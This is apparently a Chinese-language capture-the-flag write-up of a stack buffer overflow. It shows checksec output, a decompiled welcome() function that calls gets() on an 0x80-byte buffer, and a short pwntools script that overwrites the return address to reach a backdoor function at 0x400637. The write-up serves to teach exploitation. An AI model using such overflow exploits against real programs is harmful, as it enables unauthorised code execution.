checksec:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main函数内容如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  welcome();
  return 0;
}

可以看到主程序会回显输入的内容,然后调用welcome()
welcome()内容如下:

int welcome()
{
  char s; // [rsp+0h] [rbp-80h]

  gets(&s);
  return puts(&s);
}

存在后门ctfshow()。地址为0x400637
溢出点在welcome()里。编写exp即可,不想说太多:

from pwn import *

io = process('./pwn')
payload = 'a'*0x80+'a'*0x8+p64(0x400637)
io.sendline(payload)
io.interactive()